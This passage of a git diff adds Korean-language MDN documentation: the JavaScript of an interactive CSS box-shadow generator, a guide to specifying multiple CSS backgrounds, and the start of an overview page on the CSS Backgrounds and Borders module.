+
+			if (typeof value === 'number' && isNaN(value) === false &&
+				value >= 0 && value <= 255)
+				color[topic] = value;
+
+			color.updateHSV();
+			updateUI();
+		}
+
+		var inputChangeAlpha = function inputChangeAlpha(topic) {
+			var selector = "[data-action='set-alpha-" + topic + "']";
+			var node = document.querySelector("#colorpicker " + selector);
+			var value = parseFloat(node.value);
+
+			if (typeof value === 'number' && isNaN(value) === false &&
+				value >= 0 && value <= 1)
+				color.a = value.toFixed(2);
+
+			updateUI();
+		}
+
+		var inputChangeHexa = function inputChangeHexa(topic) {
+			var selector = "[data-action='set-hexa-" + topic + "']";
+			var node = document.querySelector("#colorpicker " + selector);
+			var value = node.value;
+			color.setHexa(value);
+			color.updateHSV();
+			updateUI();
+		}
+
+		var setMouseTracking = function setMouseTracking(elem, callback) {
+
+			elem.addEventListener("mousedown", function(e) {
+				callback(e);
+				document.addEventListener("mousemove", callback);
+			});
+
+			document.addEventListener("mouseup", function(e) {
+				document.removeEventListener("mousemove", callback);
+			});
+		}
+
+		/*
+		 * Observer
+		 */
+		var setColor = function setColor(obj) {
+			if(obj instanceof Color !== true) {
+				console.log("Typeof instance not Color");
+				return;
+			}
+			color.copy(obj);
+			updateUI();
+		}
+
+		var subscribe = function subscribe(topic, callback) {
+			if (subscribers[topic] === undefined)
+				subscribers[topic] = [];
+
+			subscribers[topic].push(callback);
+		}
+
+		var unsubscribe = function unsubscribe(callback) {
+			subscribers.indexOf(callback);
+			subscribers.splice(index, 1);
+		}
+
+		var notify = function notify(topic, value) {
+			for (var i in subscribers[topic])
+				subscribers[topic][i](value);
+		}
+
+		var init = function init() {
+			colorpicker		= getElemById("colorpicker");
+			hue_area		= getElemById("hue");
+			gradient_area	= getElemById("gradient");
+			alpha_area		= getElemById("alpha");
+			gradient_picker	= getElemById("gradient_picker");
+			hue_selector	= getElemById("hue_selector");
+			alpha_selector	= getElemById("alpha_selector");
+			output_color	= getElemById("output_color");
+
+			var elem = document.querySelectorAll('#colorpicker .input');
+			var size = elem.length;
+			for (var i = 0; i < size; i++)
+				setInputComponent(elem[i]);
+
+			setMouseTracking(gradient_area, updateColor);
+			setMouseTracking(hue_area, updateHue);
+			setMouseTracking(alpha_area, updateAlpha);
+
+		}
+
+		return {
+			init : init,
+			setColor : setColor,
+			subscribe : subscribe,
+			unsubscribe : unsubscribe
+		}
+
+	})();
+
+	/**
+	 * Shadow dragging
+	 */
+	var PreviewMouseTracking = (function Drag() {
+		var active = false;
+		var lastX = 0;
+		var lastY = 0;
+		var subscribers = [];
+
+		var init = function init(id) {
+			var elem = getElemById(id);
+			elem.addEventListener('mousedown', dragStart, false);
+			document.addEventListener('mouseup', dragEnd, false);
+		}
+
+		var dragStart = function dragStart(e) {
+			if (e.button !== 0)
+				return;
+
+			active = true;
+			lastX = e.clientX;
+			lastY = e.clientY;
+			document.addEventListener('mousemove', mouseDrag, false);
+		}
+
+		var dragEnd = function dragEnd(e) {
+			if (e.button !== 0)
+				return;
+
+			if (active === true) {
+				active = false;
+				document.removeEventListener('mousemove', mouseDrag, false);
+			}
+		}
+
+		var mouseDrag = function mouseDrag(e) {
+			notify(e.clientX - lastX, e.clientY - lastY);
+			lastX = e.clientX;
+			lastY = e.clientY;
+		}
+
+		var subscribe = function subscribe(callback) {
+			subscribers.push(callback);
+		}
+
+		var unsubscribe = function unsubscribe(callback) {
+			var index = subscribers.indexOf(callback);
+			subscribers.splice(index, 1);
+		}
+
+		var notify = function notify(deltaX, deltaY) {
+			for (var i in subscribers)
+				subscribers[i](deltaX, deltaY);
+		}
+
+		return {
+			init : init,
+			subscribe : subscribe,
+			unsubscribe : unsubscribe
+		}
+
+	})();
+
+	/*
+	 * Element Class
+	 */
+	var CssClass = function CssClass(id) {
+		this.left = 0;
+		this.top = 0;
+		this.rotate = 0;
+		this.width = 300;
+		this.height = 100;
+		this.display = true;
+		this.border = true;
+		this.zIndex = -1;
+		this.bgcolor = new Color();
+		this.id = id;
+		this.node = getElemById('obj-' + id);
+		this.object = getElemById(id);
+		this.shadowID = null;
+		this.shadows = []
+		this.render = [];
+		this.init();
+	}
+
+	CssClass.prototype.init = function init() {
+		this.left = ((this.node.parentNode.clientWidth - this.node.clientWidth) / 2) | 0;
+		this.top = ((this.node.parentNode.clientHeight - this.node.clientHeight) / 2) | 0;
+
+		this.setTop(this.top);
+		this.setLeft(this.left);
+		this.setHeight(this.height);
+		this.setWidth(this.width);
+		this.bgcolor.setHSV(0, 0, 100);
+		this.updateBgColor(this.bgcolor);
+	}
+
+	CssClass.prototype.updatePos = function updatePos(deltaX, deltaY) {
+		this.left += deltaX;
+		this.top += deltaY;
+		this.node.style.top = this.top + "px";
+		this.node.style.left = this.left + "px";
+		SliderManager.setValue("left", this.left);
+		SliderManager.setValue("top", this.top);
+	}
+
+	CssClass.prototype.setLeft = function setLeft(value) {
+		this.left = value;
+		this.node.style.left = this.left + "px";
+		OutputManager.updateProperty(this.id, 'left', this.left + 'px');
+	}
+
+	CssClass.prototype.setTop = function setTop(value) {
+		this.top = value;
+		this.node.style.top = this.top + 'px';
+		OutputManager.updateProperty(this.id, 'top', this.top + 'px');
+	}
+
+	CssClass.prototype.setWidth = function setWidth(value) {
+		this.width = value;
+		this.node.style.width = this.width + 'px';
+		OutputManager.updateProperty(this.id, 'width', this.width + 'px');
+	}
+
+	CssClass.prototype.setHeight = function setHeight(value) {
+		this.height = value;
+		this.node.style.height = this.height + 'px';
+		OutputManager.updateProperty(this.id, 'height', this.height + 'px');
+	}
+
+	// Browser support
+	CssClass.prototype.setRotate = function setRotate(value) {
+		var cssvalue = 'rotate(' + value +'deg)';
+
+		this.node.style.transform = cssvalue;
+		this.node.style.webkitTransform = cssvalue;
+		this.node.style.msTransform = cssvalue;
+
+		if (value !== 0) {
+			if (this.rotate === 0) {
+				OutputManager.toggleProperty(this.id, 'transform', true);
+				OutputManager.toggleProperty(this.id, '-webkit-transform', true);
+				OutputManager.toggleProperty(this.id, '-ms-transform', true);
+			}
+		}
+		else {
+			OutputManager.toggleProperty(this.id, 'transform', false);
+			OutputManager.toggleProperty(this.id, '-webkit-transform', false);
+			OutputManager.toggleProperty(this.id, '-ms-transform', false);
+		}
+
+		OutputManager.updateProperty(this.id, 'transform', cssvalue);
+		OutputManager.updateProperty(this.id, '-webkit-transform', cssvalue);
+		OutputManager.updateProperty(this.id, '-ms-transform', cssvalue);
+		this.rotate = value;
+	}
+
+	CssClass.prototype.setzIndex = function setzIndex(value) {
+		this.node.style.zIndex = value;
+		OutputManager.updateProperty(this.id, 'z-index', value);
+		this.zIndex = value;
+	}
+
+	CssClass.prototype.toggleDisplay = function toggleDisplay(value) {
+		if (typeof value !== "boolean" || this.display === value)
+			return;
+
+		this.display = value;
+		var display = this.display === true ? "block" : "none";
+		this.node.style.display = display;
+		this.object.style.display = display;
+	}
+
+	CssClass.prototype.toggleBorder = function toggleBorder(value) {
+		if (typeof value !== "boolean" || this.border === value)
+			return;
+
+		this.border = value;
+		var border = this.border === true ? "1px solid #CCC" : "none";
+		this.node.style.border = border;
+	}
+
+	CssClass.prototype.updateBgColor = function updateBgColor(color) {
+		this.bgcolor.copy(color);
+		this.node.style.backgroundColor = color.getColor();
+		OutputManager.updateProperty(this.id, 'background-color', color.getColor());
+	}
+
+	CssClass.prototype.updateShadows = function updateShadows() {
+		if (this.render.length === 0)
+			OutputManager.toggleProperty(this.id, 'box-shadow', false);
+		if (this.render.length === 1)
+			OutputManager.toggleProperty(this.id, 'box-shadow', true);
+
+		this.node.style.boxShadow = this.render.join(", ");
+		OutputManager.updateProperty(this.id, 'box-shadow', this.render.join(", \n"));
+
+	}
+
+
+	/**
+	 * Tool Manager
+	 */
+	var Tool = (function Tool() {
+
+		var preview;
+		var classes = [];
+		var active = null;
+		var animate = false;
+
+		/*
+		 * Toll actions
+		 */
+		var addCssClass = function addCssClass(id) {
+			classes[id] = new CssClass(id);
+		}
+
+		var setActiveClass = function setActiveClass(id) {
+			active = classes[id];
+			active.shadowID = null;
+			ColoPicker.setColor(classes[id].bgcolor);
+			SliderManager.setValue("top", active.top);
+			SliderManager.setValue("left", active.left);
+			SliderManager.setValue("rotate", active.rotate);
+			SliderManager.setValue("z-index", active.zIndex);
+			SliderManager.setValue("width", active.width);
+			SliderManager.setValue("height", active.height);
+			ButtonManager.setValue("border-state", active.border);
+			active.updateShadows();
+		}
+
+		var disableClass = function disableClass(topic) {
+			classes[topic].toggleDisplay(false);
+			ButtonManager.setValue(topic, false);
+		}
+
+		var addShadow = function addShadow(position) {
+			if (animate === true)
+				return -1;
+
+			active.shadows.splice(position, 0, new Shadow());
+			active.render.splice(position, 0, null);
+		}
+
+		var swapShadow = function swapShadow(id1, id2) {
+			var x = active.shadows[id1];
+			active.shadows[id1] = active.shadows[id2];
+			active.shadows[id2] = x;
+			updateShadowCSS(id1);
+			updateShadowCSS(id2);
+		}
+
+		var deleteShadow = function deleteShadow(position) {
+			active.shadows.splice(position, 1);
+			active.render.splice(position, 1);
+			active.updateShadows();
+		}
+
+		var setActiveShadow = function setActiveShadow(id, glow) {
+			active.shadowID = id;
+			ColoPicker.setColor(active.shadows[id].color);
+			ButtonManager.setValue("inset", active.shadows[id].inset);
+			SliderManager.setValue("blur", active.shadows[id].blur);
+			SliderManager.setValue("spread", active.shadows[id].spread);
+			SliderManager.setValue("posX", active.shadows[id].posX);
+			SliderManager.setValue("posY", active.shadows[id].posY);
+			if (glow === true)
+				addGlowEffect(id);
+		}
+
+		var addGlowEffect = function addGlowEffect(id) {
+			if (animate === true)
+				return;
+
+			animate = true;
+			var store = new Shadow();
+			var shadow = active.shadows[id];
+
+			store.copy(shadow);
+			shadow.color.setRGBA(40, 125, 200, 1);
+			shadow.blur = 10;
+			shadow.spread = 10;
+
+			active.node.style.transition = "box-shadow 0.2s";
+			updateShadowCSS(id);
+
+			setTimeout(function() {
+				shadow.copy(store);
+				updateShadowCSS(id);
+				setTimeout(function() {
+					active.node.style.removeProperty("transition");
+					animate = false;
+				}, 100);
+			}, 200);
+		}
+
+		var updateActivePos = function updateActivePos(deltaX, deltaY) {
+			if (active.shadowID === null)
+				active.updatePos(deltaX, deltaY);
+			else
+				updateShadowPos(deltaX, deltaY);
+		}
+
+		/*
+		 * Shadow properties
+		 */
+		var updateShadowCSS = function updateShadowCSS(id) {
+			active.render[id] = active.shadows[id].computeCSS();
+			active.updateShadows();
+		}
+
+		var toggleShadowInset = function toggleShadowInset(value) {
+			if (active.shadowID === null)
+				return;
+			active.shadows[active.shadowID].toggleInset(value);
+			updateShadowCSS(active.shadowID);
+		}
+
+		var updateShadowPos = function updateShadowPos(deltaX, deltaY) {
+			var shadow = active.shadows[active.shadowID];
+			shadow.posX += deltaX;
+			shadow.posY += deltaY;
+			SliderManager.setValue("posX", shadow.posX);
+			SliderManager.setValue("posY", shadow.posY);
+			updateShadowCSS(active.shadowID);
+		}
+
+		var setShadowPosX = function setShadowPosX(value) {
+			if (active.shadowID === null)
+				return;
+			active.shadows[active.shadowID].posX = value;
+			updateShadowCSS(active.shadowID);
+		}
+
+		var setShadowPosY = function setShadowPosY(value) {
+			if (active.shadowID === null)
+				return;
+			active.shadows[active.shadowID].posY = value;
+			updateShadowCSS(active.shadowID);
+		}
+
+		var setShadowBlur = function setShadowBlur(value) {
+			if (active.shadowID === null)
+				return;
+			active.shadows[active.shadowID].blur = value;
+			updateShadowCSS(active.shadowID);
+		}
+
+		var setShadowSpread = function setShadowSpread(value) {
+			if (active.shadowID === null)
+				return;
+			active.shadows[active.shadowID].spread = value;
+			updateShadowCSS(active.shadowID);
+		}
+
+		var updateShadowColor = function updateShadowColor(color) {
+			active.shadows[active.shadowID].color.copy(color);
+			updateShadowCSS(active.shadowID);
+		}
+
+		/*
+		 * Element Properties
+		 */
+		var updateColor = function updateColor(color) {
+			if (active.shadowID === null)
+				active.updateBgColor(color);
+			else
+				updateShadowColor(color);
+		}
+
+		var init = function init() {
+			preview = getElemById("preview");
+
+			ColoPicker.subscribe("color", updateColor);
+			PreviewMouseTracking.subscribe(updateActivePos);
+
+			// Affects shadows
+			ButtonManager.subscribe("inset", toggleShadowInset);
+			SliderManager.subscribe("posX", setShadowPosX);
+			SliderManager.subscribe("posY", setShadowPosY);
+			SliderManager.subscribe("blur", setShadowBlur);
+			SliderManager.subscribe("spread", setShadowSpread);
+
+			// Affects element
+			SliderManager.subscribe("top", function(value){
+				active.setTop(value);
+			});
+			SliderManager.subscribe("left", function(value){
+				active.setLeft(value);
+			});
+			SliderManager.subscribe("rotate", function(value) {
+				if (active == classes["element"])
+					return;
+				active.setRotate(value);
+			});
+
+			SliderManager.subscribe("z-index", function(value) {
+				if (active == classes["element"])
+					return;
+				active.setzIndex(value);
+			});
+
+			SliderManager.subscribe("width", function(value) {
+				active.setWidth(value)
+			});
+
+			SliderManager.subscribe("height", function(value) {
+				active.setHeight(value)
+			});
+
+			// Actions
+			classes['before'].top = -30;
+			classes['before'].left = -30;
+			classes['after'].top = 30;
+			classes['after'].left = 30;
+			classes['before'].toggleDisplay(false);
+			classes['after'].toggleDisplay(false);
+			ButtonManager.setValue('before', false);
+			ButtonManager.setValue('after', false);
+
+			ButtonManager.subscribe("before", classes['before'].toggleDisplay.bind(classes['before']));
+			ButtonManager.subscribe("after", classes['after'].toggleDisplay.bind(classes['after']));
+
+			ButtonManager.subscribe("border-state", function(value) {
+				active.toggleBorder(value);
+			});
+
+		}
+
+		return {
+			init 			: init,
+			addShadow		: addShadow,
+			swapShadow		: swapShadow,
+			addCssClass		: addCssClass,
+			disableClass	: disableClass,
+			deleteShadow	: deleteShadow,
+			setActiveClass	: setActiveClass,
+			setActiveShadow : setActiveShadow
+		}
+
+	})();
+
+	/**
+	 * Layer Manager
+	 */
+	var LayerManager = (function LayerManager() {
+		var stacks = [];
+		var active = {
+			node : null,
+			stack : null
+		}
+		var elements = {};
+
+		var mouseEvents = function mouseEvents(e) {
+			var node = e.target;
+			var type = node.getAttribute('data-type');
+
+			if (type === 'subject')
+				setActiveStack(stacks[node.id]);
+
+			if (type === 'disable') {
+				Tool.disableClass(node.parentNode.id);
+				setActiveStack(stacks['element']);
+			}
+
+			if (type === 'add')
+				active.stack.addLayer();
+
+			if (type === 'layer')
+				active.stack.setActiveLayer(node);
+
+			if (type === 'delete')
+				active.stack.deleteLayer(node.parentNode);
+
+			if (type === 'move-up')
+				active.stack.moveLayer(1);
+
+			if (type === 'move-down')
+				active.stack.moveLayer(-1);
+		}
+
+		var setActiveStack = function setActiveStack(stackObj) {
+			active.stack.hide();
+			active.stack = stackObj;
+			active.stack.show();
+		}
+
+		/*
+		 * Stack object
+		 */
+		var Stack = function Stack(subject) {
+			var S = document.createElement('div');
+			var title = document.createElement('div');
+			var stack = document.createElement('div');
+
+			S.className = 'container';
+			stack.className = 'stack';
+			title.className = 'title';
+			title.textContent = subject.getAttribute('data-title');
+			S.appendChild(title);
+			S.appendChild(stack);
+
+			this.id = subject.id;
+			this.container = S;
+			this.stack = stack;
+			this.subject = subject;
+			this.order = [];
+			this.uid = 0;
+			this.count = 0;
+			this.layer = null;
+			this.layerID = 0;
+		}
+
+		Stack.prototype.addLayer = function addLayer() {
+			if (Tool.addShadow(this.layerID) == -1)
+				return;
+
+			var uid = this.getUID();
+			var layer = this.createLayer(uid);
+
+			if (this.layer === null && this.stack.children.length >= 1)
+				this.layer = this.stack.children[0];
+
+			this.stack.insertBefore(layer, this.layer);
+			this.order.splice(this.layerID, 0, uid);
+			this.count++;
+			this.setActiveLayer(layer);
+		}
+
+		Stack.prototype.createLayer = function createLayer(uid) {
+			var layer = document.createElement('div');
+			var del = document.createElement('span');
+
+			layer.className = 'node';
+			layer.setAttribute('data-shid', uid);
+			layer.setAttribute('data-type', 'layer');
+			layer.textContent = 'shadow ' + uid;
+
+			del.className = 'delete';
+			del.setAttribute('data-type', 'delete');
+
+			layer.appendChild(del);
+			return layer;
+		}
+
+		Stack.prototype.getUID = function getUID() {
+			return this.uid++;
+		}
+
+		// SOLVE IE BUG
+		Stack.prototype.moveLayer = function moveLayer(direction) {
+			if (this.count <= 1 || this.layer === null)
+				return;
+			if (direction === -1 && this.layerID === (this.count - 1) )
+				return;
+			if (direction === 1 && this.layerID === 0 )
+				return;
+
+			if (direction === -1) {
+				var before = null;
+				Tool.swapShadow(this.layerID, this.layerID + 1);
+				this.swapOrder(this.layerID, this.layerID + 1);
+				this.layerID += 1;
+
+				if (this.layerID + 1 !== this.count)
+					before = this.stack.children[this.layerID + 1];
+
+				this.stack.insertBefore(this.layer, before);
+				Tool.setActiveShadow(this.layerID, false);
+			}
+
+			if (direction === 1) {
+				Tool.swapShadow(this.layerID, this.layerID - 1);
+				this.swapOrder(this.layerID, this.layerID - 1);
+				this.layerID -= 1;
+				this.stack.insertBefore(this.layer, this.stack.children[this.layerID]);
+				Tool.setActiveShadow(this.layerID, false);
+			}
+		}
+
+		Stack.prototype.swapOrder = function swapOrder(pos1, pos2) {
+			var x = this.order[pos1];
+			this.order[pos1] = this.order[pos2];
+			this.order[pos2] = x;
+		}
+
+		Stack.prototype.deleteLayer = function deleteLayer(node) {
+			var shadowID =  node.getAttribute('data-shid') | 0;
+			var index = this.order.indexOf(shadowID);
+			this.stack.removeChild(this.stack.children[index]);
+			this.order.splice(index, 1);
+			this.count--;
+
+			Tool.deleteShadow(index);
+
+			if (index > this.layerID)
+				return;
+
+			if (index == this.layerID) {
+				if (this.count >= 1) {
+					this.layerID = 0;
+					this.setActiveLayer(this.stack.children[0], true);
+				}
+				else {
+					this.layer = null;
+					this.show();
+				}
+			}
+
+			if (index < this.layerID) {
+				this.layerID--;
+				Tool.setActiveShadow(this.layerID, true);
+			}
+
+		}
+
+		Stack.prototype.setActiveLayer = function setActiveLayer(node) {
+			elements.shadow_properties.style.display = 'block';
+			elements.element_properties.style.display = 'none';
+
+			if (this.layer)
+				this.layer.removeAttribute('data-active');
+
+			this.layer = node;
+			this.layer.setAttribute('data-active', 'layer');
+
+			var shadowID =  node.getAttribute('data-shid') | 0;
+			this.layerID = this.order.indexOf(shadowID);
+			Tool.setActiveShadow(this.layerID, true);
+		}
+
+		Stack.prototype.unsetActiveLayer = function unsetActiveLayer() {
+			if (this.layer)
+				this.layer.removeAttribute('data-active');
+
+			this.layer = null;
+			this.layerID = 0;
+		}
+
+		Stack.prototype.hide = function hide() {
+			this.unsetActiveLayer();
+			this.subject.removeAttribute('data-active');
+			var style = this.container.style;
+			style.left = '100%';
+			style.zIndex = '0';
+		}
+
+		Stack.prototype.show = function show() {
+			elements.shadow_properties.style.display = 'none';
+			elements.element_properties.style.display = 'block';
+
+			if (this.id === 'element') {
+				elements.zIndex.style.display = 'none';
+				elements.transform_rotate.style.display = 'none';
+			}
+			else {
+				elements.zIndex.style.display = 'block';
+				elements.transform_rotate.style.display = 'block';
+			}
+
+			this.subject.setAttribute('data-active', 'subject');
+			var style = this.container.style;
+			style.left = '0';
+			style.zIndex = '10';
+			Tool.setActiveClass(this.id);
+		}
+
+		function init() {
+
+			var elem, size;
+			var layerManager = getElemById("layer_manager");
+			var layerMenu = getElemById("layer_menu");
+			var container = getElemById("stack_container");
+
+			elements.shadow_properties = getElemById('shadow_properties');
+			elements.element_properties = getElemById('element_properties');
+			elements.transform_rotate = getElemById('transform_rotate');
+			elements.zIndex = getElemById('z-index');
+
+			elem = document.querySelectorAll('#layer_menu [data-type="subject"]');
+			size = elem.length;
+
+			for (var i = 0; i < size; i++) {
+				var S = new Stack(elem[i]);
+				stacks[elem[i].id] = S;
+				container.appendChild(S.container);
+				Tool.addCssClass(elem[i].id);
+			}
+
+			active.stack = stacks['element'];
+			stacks['element'].show();
+
+			layerManager.addEventListener("click", mouseEvents);
+			layerMenu.addEventListener("click", mouseEvents);
+
+			ButtonManager.subscribe("before", function(value) {
+				if (value === false && active.stack === stacks['before'])
+					setActiveStack(stacks['element'])
+				if (value === true && active.stack !== stacks['before'])
+					setActiveStack(stacks['before'])
+			});
+
+			ButtonManager.subscribe("after", function(value) {
+				if (value === false && active.stack === stacks['after'])
+					setActiveStack(stacks['element'])
+				if (value === true && active.stack !== stacks['after'])
+					setActiveStack(stacks['after'])
+			});
+		}
+
+		return {
+			init : init
+		}
+	})();
+
+	/*
+	 * OutputManager
+	 */
+	var OutputManager = (function OutputManager() {
+		var classes = [];
+		var buttons = [];
+		var active = null;
+		var menu = null;
+		var button_offset = 0;
+
+		var crateOutputNode = function(topic, property) {
+
+			var prop = document.createElement('div');
+			var name = document.createElement('span');
+			var value = document.createElement('span');
+
+			var pmatch = property.match(/(^([a-z0-9\-]*)=\[([a-z0-9\-\"]*)\])|^([a-z0-9\-]*)/i);
+
+			name.textContent = '\t' + pmatch[4];
+
+			if (pmatch[3] !== undefined) {
+				name.textContent = '\t' + pmatch[2];
+				value.textContent = pmatch[3] + ';';
+			}
+
+			name.textContent += ': ';
+			prop.className = 'css-property';
+			name.className = 'name';
+			value.className = 'value';
+			prop.appendChild(name);
+			prop.appendChild(value);
+
+			classes[topic].node.appendChild(prop);
+			classes[topic].line[property] = prop;
+			classes[topic].prop[property] = value;
+		}
+
+		var OutputClass = function OutputClass(node) {
+			var topic = node.getAttribute('data-topic');
+			var prop = node.getAttribute('data-prop');
+			var name = node.getAttribute('data-name');
+			var properties = prop.split(' ');
+
+			classes[topic] = {};
+			classes[topic].node = node;
+			classes[topic].prop = [];
+			classes[topic].line = [];
+			classes[topic].button = new Button(topic);
+
+			var open_decl = document.createElement('div');
+			var end_decl = document.createElement('div');
+
+			open_decl.textContent = name + ' {';
+			end_decl.textContent = '}';
+			node.appendChild(open_decl);
+
+			for (var i in properties)
+				crateOutputNode(topic, properties[i]);
+
+			node.appendChild(end_decl);
+		}
+
+		var Button = function Button(topic) {
+			var button = document.createElement('div');
+
+			button.className = 'button';
+			button.textContent = topic;
+			button.style.left = button_offset + 'px';
+			button_offset += 100;
+
+			button.addEventListener("click", function() {
+				toggleDisplay(topic);
+			})
+
+			menu.appendChild(button);
+			return button;
+		}
+
+		var toggleDisplay = function toggleDisplay(topic) {
+			active.button.removeAttribute('data-active');
+			active.node.style.display = 'none';
+			active = classes[topic];
+			active.node.style.display = 'block';
+			active.button.setAttribute('data-active', 'true');
+		}
+
+		var toggleButton = function toggleButton(topic, value) {
+			var display = (value === true) ? 'block' : 'none';
+			classes[topic].button.style.display = display;
+
+			if (value === true)
+				toggleDisplay(topic);
+			else
+				toggleDisplay('element');
+		}
+
+		var updateProperty = function updateProperty(topic, property, data) {
+			try {
+				classes[topic].prop[property].textContent = data + ';';
+			}
+			catch(error) {
+				// console.log("ERROR undefined : ", topic, property, data);
+			}
+		}
+
+		var toggleProperty = function toggleProperty(topic, property, value) {
+			var display = (value === true) ? 'block' : 'none';
+			try {
+				classes[topic].line[property].style.display = display;
+			}
+			catch(error) {
+				// console.log("ERROR undefined : ",classes, topic, property, value);
+			}
+		}
+
+		var init = function init() {
+
+			menu = getElemById('menu');
+
+			var elem = document.querySelectorAll('#output .output');
+			var size = elem.length;
+			for (var i = 0; i < size; i++)
+				OutputClass(elem[i]);
+
+			active = classes['element'];
+			toggleDisplay('element');
+
+			ButtonManager.subscribe("before", function(value) {
+				toggleButton('before', value);
+			});
+
+			ButtonManager.subscribe("after", function(value) {
+				toggleButton('after', value);
+			});
+		}
+
+		return {
+			init : init,
+			updateProperty : updateProperty,
+			toggleProperty : toggleProperty
+		}
+
+	})();
+
+
+	/**
+	 * Init Tool
+	 */
+	var init = function init() {
+		ButtonManager.init();
+		OutputManager.init();
+		ColoPicker.init();
+		SliderManager.init();
+		LayerManager.init();
+		PreviewMouseTracking.init("preview");
+		Tool.init();
+	}
+
+	return {
+		init : init
+	}
+
+})();
+
+
+
+
+ +
{{ EmbedLiveSample('box-shadow_generator', '100%', '1100px', '') }}
diff --git a/files/ko/web/css/css_background_and_borders/using_css_multiple_backgrounds/index.html b/files/ko/web/css/css_background_and_borders/using_css_multiple_backgrounds/index.html new file mode 100644 index 0000000000..73d1758964 --- /dev/null +++ b/files/ko/web/css/css_background_and_borders/using_css_multiple_backgrounds/index.html @@ -0,0 +1,55 @@ +--- +title: 여러개의 배경 지정하기 +slug: Web/CSS/CSS_Background_and_Borders/Using_CSS_multiple_backgrounds +tags: + - CSS + - CSS Background + - Example + - Guide + - Intermediate +translation_of: Web/CSS/CSS_Backgrounds_and_Borders/Using_multiple_backgrounds +--- +

{{CSSRef}}

+ +

CSS3를 사용하면 엘리먼트에 여러개의 배경을 지정할 수 있다. 첫 번째로 지정한 배경이 가장 앞에 보이고 나중에 지정한 배경이 뒤에 보인다. 배경 색상({{ cssxref("color") }})는 맨 마지막에만 지정할 수 있다. 

+ +

여러개의 배경을 지정하는건 간단하다.

+ +
.myclass {
+  background: background1, background 2, ..., backgroundN;
+}
+
+ +

배경에 관련된 다른 속성들은 {{ cssxref("background") }} 속성에 한꺼번에 지정할 수도 있고 리스트 형태로 각각 지정할 수도 있다.  하지만  {{ cssxref("background-color") }} 속성은 리스트 형태로 지정할 수 없다. 다음과 같은 속성들은 리스트 형태로 동시에 여러개 지정할 수 있다.  {{ cssxref("background") }}, {{ cssxref("background-attachment") }}, {{ cssxref("background-clip") }}, {{ cssxref("background-image") }}, {{ cssxref("background-origin") }}, {{ cssxref("background-position") }}, {{ cssxref("background-repeat") }}, {{ cssxref("background-size") }}

+ +

예제

+ +

이 예제에서는 파이어포스 로고, 선형 그라디언트, 꽃이 그려진 사진을 한 엘리먼트에 적용해본다. 

+ +
.multi_bg_example {
+  background: url(http://demos.hacks.mozilla.org/openweb/resources/images/logos/firefox-48.png),
+        linear-gradient(to right, rgba(255, 255, 255, 0),  rgba(255, 255, 255, 1)),
+        url(http://demos.hacks.mozilla.org/openweb/resources/images/patterns/flowers-pattern.jpg);
+  background-repeat: no-repeat, no-repeat, repeat;
+  background-position: bottom right, left, right;
+}
+
+ + + + + + + + + + +
Result
css_multibg.png
+ +

첫 번째 배경으로 지정한(리스트에서 첫번째) 파이어폭스 로고가 맨 위에 보이고 선형 그라디언트, 꽃이 그려진 사진 순서대로 보인다. {{ cssxref("background-repeat") }} 와 {{ cssxref("background-position") }}) 속성들도 리스트 형태로 지정되었는데 순서대로 해당하는 배경에 적용된다. 예를 들어 {{ cssxref("background-repeat") }} 속성 중 첫 번째 no-repeat는 첫 번째 배경인 파이어폭스 로고에 적용된다.

+ +

더 보기

+ + diff --git a/files/ko/web/css/css_backgrounds_and_borders/index.html b/files/ko/web/css/css_backgrounds_and_borders/index.html new file mode 100644 index 0000000000..4fc6295885 --- /dev/null +++ b/files/ko/web/css/css_backgrounds_and_borders/index.html @@ -0,0 +1,113 @@ +--- +title: CSS 배경 및 테두리 +slug: Web/CSS/CSS_Backgrounds_and_Borders +tags: + - CSS + - CSS Backgrounds and Borders + - Guide + - Overview + - Reference +translation_of: Web/CSS/CSS_Backgrounds_and_Borders +--- +
{{CSSRef}}
+ +

CSS Backgrounds and Borders 모듈의 스타일은 배경에 색과 이미지를 채우거나, 기타 다른 방식으로 수정할 수 있습니다. 또한 테두리를 선이나 이미지로 장식할 수 있고, 직각 뿐 아니라 원형 테두리로 만들 수도 있습니다. (추가로, 요소 박스를 그림자로 꾸밀 수도 있습니다.)

+ +

참고서

+ +

속성

+ +
+
    +
  • {{cssxref("background")}}
  • +
  • {{cssxref("background-attachment")}}
  • +
  • {{cssxref("background-clip")}}
  • +
  • {{cssxref("background-color")}}
  • +
  • {{cssxref("background-image")}}
  • +
  • {{cssxref("background-origin")}}
  • +
  • {{cssxref("background-position")}}
  • +
  • {{cssxref("background-position-x")}}
  • +
  • {{cssxref("background-position-y")}}
  • +
  • {{cssxref("background-repeat")}}
  • +
  • {{cssxref("background-size")}}
  • +
  • {{cssxref("border")}}
  • +
  • {{cssxref("border-bottom")}}
  • +
  • {{cssxref("border-bottom-color")}}
  • +
  • {{cssxref("border-bottom-left-radius")}}
  • +
  • {{cssxref("border-bottom-right-radius")}}
  • +
  • {{cssxref("border-bottom-style")}}
  • +
  • {{cssxref("border-bottom-width")}}
  • +
  • {{cssxref("border-collapse")}}
  • +
  • {{cssxref("border-color")}}
  • +
  • {{cssxref("border-image")}}
  • +
  • {{cssxref("border-image-outset")}}
  • +
  • {{cssxref("border-image-repeat")}}
  • +
  • {{cssxref("border-image-slice")}}
  • +
  • {{cssxref("border-image-source")}}
  • +
  • {{cssxref("border-image-width")}}
  • +
  • {{cssxref("border-left")}}
  • +
  • {{cssxref("border-left-color")}}
  • +
  • {{cssxref("border-left-style")}}
  • +
  • {{cssxref("border-left-width")}}
  • +
  • {{cssxref("border-radius")}}
  • +
  • {{cssxref("border-right")}}
  • +
  • {{cssxref("border-right-color")}}
  • +
  • {{cssxref("border-right-style")}}
  • +
  • {{cssxref("border-right-width")}}
  • +
  • {{cssxref("border-style")}}
  • +
  • {{cssxref("border-top")}}
  • +
  • {{cssxref("border-top-color")}}
  • +
  • {{cssxref("border-top-left-radius")}}
  • +
  • {{cssxref("border-top-right-radius")}}
  • +
  • {{cssxref("border-top-style")}}
  • +
  • {{cssxref("border-top-width")}}
  • +
  • {{cssxref("border-width")}}
  • +
  • {{cssxref("box-shadow")}}
  • +
+
+ +

도구

+ +
+
다수의 배경 사용하기
+
하나의 요소에 여러 배경을 적용하는 법을 배웁니다.
+
배경 이미지 크기 조정하기
+
배경 이미지의 크기와 반복 여부를 설정하는 법을 배웁니다.
+
CSS로 HTML 요소에 색 입히기
+
HTML 요소에 테두리를 비롯한 색상을 CSS로 적용하는 법을 배웁니다.
+
Border-image 생성기
+
테두리 이미지를 실시간으로 확인하며 만들 수 있는 도구입니다.
+
Border-radius 생성기
+
